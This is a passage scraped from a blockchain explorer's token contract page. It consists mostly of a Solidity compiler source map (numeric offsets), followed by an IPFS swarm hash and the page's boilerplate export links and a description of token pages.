1;10123:4:0;;-1:-1:-1;9602:534:0;;-1:-1:-1;;;;;;;9602:534:0:o;1951:246::-;2009:7;2033:1;2038;2033:6;2029:47;;-1:-1:-1;2063:1:0;2056:8;;2029:47;2086:9;2098:5;2102:1;2098;:5;:::i;:::-;2086:17;-1:-1:-1;2131:1:0;2122:5;2126:1;2086:17;2122:5;:::i;:::-;:10;2114:56;;;;-1:-1:-1;;;2114:56:0;;10365:2:1;2114:56:0;;;10347:21:1;10404:2;10384:18;;;10377:30;10443:34;10423:18;;;10416:62;-1:-1:-1;;;10494:18:1;;;10487:31;10535:19;;2114:56:0;10163:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1630:456::-;1707:6;1715;1723;1776:2;1764:9;1755:7;1751:23;1747:32;1744:52;;;1792:1;1789;1782:12;1744:52;1831:9;1818:23;1850:31;1875:5;1850:31;:::i;:::-;1900:5;-1:-1:-1;1957:2:1;1942:18;;1929:32;1970:33;1929:32;1970:33;:::i;:::-;1630:456;;2022:7;;-1:-1:-1;;;2076:2:1;2061:18;;;;2048:32;;1630:456::o;2488:247::-;2547:6;2600:2;2588:9;2579:7;2575:23;2571:32;2568:52;;;2616:1;2613;2606:12;2568:52;2655:9;2642:23;2674:31;2699:5;2674:31;:::i;2740:385::-;2826:6;2834;2842;2850;2903:3;2891:9;2882:7;2878:23;2874:33;2871:53;;;2920:1;2917;2910:12;2871:53;-1:-1:-1;;2943:23:1;;;3013:2;2998:18;;2985:32;;-1:-1:-1;3064:2:1;3049:18;;3036:32;;3115:2;3100:18;3087:32;;-1:-1:-1;2740:385:1;-1:-1:-1;2740:385:1:o;3130:388::-;3198:6;3206;3259:2;3247:9;3238:7;3234:23;3230:32;3227:52;;;3275:1;3272;3265:12;3227:52;3314:9;3301:23;3333:31;3358:5;3333:31;:::i;:::-;3383:5;-1:-1:-1;3440:2:1;3425:18;;3412:32;3453:33;3412:32;3453:33;:::i;:::-;3505:7;3495:17;;;3130:388;;;;;:::o;3523:356::-;3725:2;3707:21;;;3744:18;;;3737:30;3803:34;3798:2;3783:18;;3776:62;3870:2;3855:18;;3523:356::o;7108:127::-;7169:10;7164:3;7160:20;7157:1;7150:31;7200:4;7197:1;7190:15;7224:4;7221:1;7214:15;7240:125;7305:9;;;7326:10;;;7323:36;;;7339:18;;:::i;7774:128::-;7841:9;;;7862:11;;;7859:37;;;7876:18;;:::i;8039:127::-;8100:10;8095:3;8091:20;8088:1;8081:31;8131:4;8128:1;8121:15;8155:4;8152:1;8145:15;8171:251;8241:6;8294:2;8282:9;8273:7;8269:23;8265:32;8262:52;;;8310:1;8307;8300:12;8262:52;8342:9;8336:16;8361:31;8386:5;8361:31;:::i;8427:980::-;8689:4;8737:3;8726:9;8722:19;8768:6;8757:9;8750:25;8794:2;8832:6;8827:2;8816:9;8812:18;8805:34;8875:3;8870:2;8859:9;8855:18;8848:31;8899:6;8934;8928:13;8965:6;8957;8950:22;9003:3;8992:9;8988:19;8981:26;;9042:2;9034:6;9030:15;9016:29;;9063:1;9073:195;9087:6;9084:1;9081:13;9073:195;;;9152:13;;-1:-1:-1;;;;;9148:39:1;9136:52;;9243:15;;;;9208:12;;;;9184:1;9102:9;9073:195;;;-1:-1:-1;;;;;;;9324:32:1;;;;9319:2;9304:18;;9297:60;-1:-1:-1;;;9388:3:1;9373:19;9366:35;9285:3;8427:980;-1:-1:-1;;;8427:980:1:o;9412:217::-;9452:1;9478;9468:132;;9522:10;9517:3;9513:20;9510:1;9503:31;9557:4;9554:1;9547:15;9585:4;9582:1;9575:15;9468:132;-1:-1:-1;9614:9:1;;9412:217::o;9990:168::-;10063:9;;;10094;;10111:15;;;10105:22;;10091:37;10081:71;;10132:18;;:::i

Swarm Source

ipfs://eb412ca9cc6b9cafe86652746bc9ad799444aed6f1918a64262fc5d84e7dd39b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.